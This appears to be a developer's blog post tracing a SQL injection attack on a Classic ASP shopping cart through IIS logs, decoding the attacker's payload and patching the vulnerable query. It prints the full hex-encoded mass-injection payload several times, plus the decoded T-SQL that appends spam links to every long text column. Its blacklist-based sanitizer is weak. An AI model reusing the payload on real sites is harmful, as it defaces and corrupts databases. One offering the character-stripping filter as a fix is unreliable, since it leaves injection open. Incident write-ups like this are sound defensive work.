This is how I found a SQL Injection Hacker who was changing all the product titles in my custom shopping cart using a diabolical injection technique. First, I knew the problem was happening, because I saw HTML inserted into my product titles and product descriptions of my database and website. My application was written in “Classic ASP” and VBScript, before .NET came out; since I have hundreds of scripts, I never rewrote them for .NET.
Protecting my Data and Setting the Trap
First of all, I added a T-SQL trigger to disallow multiple record updates, and write to a log file when the code is triggered.
ALTER TRIGGER [dbo].[myTable_multiUpdatePrevention]
ON [dbo].[myTable]
FOR UPDATE AS
BEGIN
DECLARE @Count int
DECLARE @MaxAllowedRowToChange int = 5
Select @Count = count(*) from Inserted IF @Count > @MaxAllowedRowToChange
BEGIN
— Log the issue to the table called ‘Log’
ROLLBACK TRANSACTION
declare @Message varchar(500)
set @Message = ‘Trigger: Possible Hack: Multiple update attempt: Table=Product rowCount=’ + convert(varchar(10),@Count)
insert into LogHacks (logmessage,logdatetime, logUserid) Values (@Message,getdate(), SYSTEM_USER)
RAISERROR(‘Cannot update more than x rows of Product table without disabling trigger ‘,16,1)
RETURN;
END
END
Install Auditing Software
I installed “Auto Audit” from Codeplex, see my prior blog on this great tool.
Look at IIS Log
Based on the above, I monitored the LogHacks table, and now can see when the attack is happening, and also now I’m protected and don’t have to restore my data anymore. I was able to capture the userid, which narrowed it down to one of my classic ASP pages.
I then went to my IIS log, and looked the pages retrieved or posted nearest to that time. I found this:
2015-03-05 15:17:57 172.31.6.40 GET /MyDir/MyCatalog.asp brand=1'+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e617271687b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834303070782c6175746f2c6175746f2c3432347078293b7d3c2f7374796c653e3c64697620636c6173733d617271683e3c6120687265663d687474703a2f2f67656e657269636369616c6973617375692e636f6d203e6368656170206369616c69732067656e65726963206f6e6c696e653c2f613e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar(8000))+exec(@s)-- 80 - 93.79.156.25 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) http://www.mysite.com/mydir/MyCatalog.asp?brand=1'+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e617271687b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834303070782c6175746f2c6175746f2c3432347078293b7d3c2f7374796c653e3c64697620636c6173733d617271683e3c6120687265663d687474703a2f2f67656e657269636369616c6973617375692e636f6d203e6368656170206369616c69732067656e65726963206f6e6c696e653c2f613e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar(8000))+exec(@s)-- 200 0 64 1781
At first, I was being narrow minded, and though injection was only happening in web page forms.
I hadn’t thought about query strings on the URL itself!
Just to find out how this amazingly clever piece of code works, I did the following:
Captured SQL Generated fom my ASP Program
Below, you can see that they they took my “like” clause, and hijacked it, by closing it with a single quote, then adding their own statements.
SQL=Select * from myView where abc_title like '%language series%' and abc_title like '%1' declare @s varchar(8000) set @s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e617271687b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834303070782c6175746f2c6175746f2c3432347078293b7d3c2f7374796c653e3c64697620636c6173733d617271683e3c6120687265663d687474703a2f2f67656e657269636369616c6973617375692e636f6d203e6368656170206369616c69732067656e65726963206f6e6c696e653c2f613e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 as varchar(8000)) exec(@s)%' and prod_yn_visible = 'Y' order by prod_priority_sort desc, prod_code
Unscramble the Hex Code
To interpret the above mess, I wrote this little T-SQL Script (note, I copied the entire hex string, but below I put … so as not to repeat it again here:
declare @showvar varchar(8000)
set @showvar = cast(0x73...36f72 as varchar(8000))
print @showvar
Looking at the Hacker’s Actual Code
When I ran the above code, the actual SQL is shown (line breaks added to make it readable):
set ansi_warnings off
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t
where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
and c.CHARACTER_MAXIMUM_LENGTH>80 and t.table_name=c.table_name
and t.table_type='BASE TABLE' OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC(‘UPDATE [‘+@T+’]
SET [‘+@C+’]=CONVERT(VARCHAR(8000),[‘+@C+’])+”
” ‘)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
I must admit this is some clever code, and illustrates what hackers will do to sell generic drugs for “you know what”. When I went to their site, my Malware plug-i told me it wasn’t safe, so I didn’t actually load their pages.
The code is basically looking for all super-long text fields, anything over 80 characters in length. It does that by searching INFORMATION_SCHEMA.tables peaking at all my tables and columns. The goal of the attack is apparently to just append their code HTML code, and let your site keep working, so that for many days, they get the SEO impact of the extra link-backs, until you discover the issue. However, in some cases, the HTML was not closing properly, and made a mess of some of my web pages.
Finding my injection bug
I found that I was stringing together a complex where clause depending on various factors. So moral of the story is, never take anything directly form the URL! Request(“language”) is pulling a language variable from the URL So they basically set language to close off the like wild card, then put their own code after that…
optionalSelection = " and prod_title like '%" & Request("language") & "%'"
Fixing my injection bug
optionalSelection = " and prod_title like '%" & fixSqlInsertion(Request("language")) & "%'" function fixSqlInsertion(stringin)
temp1 = replace(stringin,”‘”,””)
temp1 = replace(temp1,”;”,””)
temp1 = replace(temp1,”,”,””)
temp1 = replace(temp1,”>”,””)
temp1 = replace(temp1,”<“,””)
temp1 = replace(temp1,”=”,””)
temp1 = replace(temp1,”@”,””)
temp1 = replace(lcase(temp1),”delete”,”nodelete”)
temp1 = replace(lcase(temp1),”drop”,”nodrop”)
fixSqlInsertion = temp1
end function
The above is not super-elegant; it results in a “500 Sever Error” to the caller, but I don’t care what the hacker sees really. If he sees the 500, maybe he will quit visiting my site. This was the fastest fix, not the most effective. The better technique would probably be to create a stored procedure, and pass parms to it. Another technique I could use is to limit the size of the URL to a maximum length, to avoid long chunks of code like the one above.
The code above just removes the characters that a SQL injection would need to do damage. To be valid T-SQL, you need to use @ sign for variables, and you need quote marks and equal signs. Doing a DELETE or a DROP doesn’t require all that punctuation, so I prohibit those words; and substitute some fake word that will cause the SQL to fail.
There are two other ideas I could make use of to improve my code more:
1) Parameterized queries
2) Just make sure a SQL select statement doesn’t contain the words “Update”, “Delete”, “Drop”, “Alter”, etc… A select should just be a select.
Here are some references to other resources on fixing SQL Injection Hacks. Some are for PHP, but PHP is very similar conceptually to VBScript and Classic ASP that I was using. You might want to do further searches for you particular programming language.
1. https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
2. http://stackoverflow.com/questions/60174/how-can-i-prevent-sql-injection-in-php
3. http://www.codeproject.com/Articles/9378/SQL-Injection-Attacks-and-Some-Tips-on-How-to-Prev
4. http://en.wikipedia.org/wiki/SQL_injection – Good intro to SQL Injection on Wikipedia
5. http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx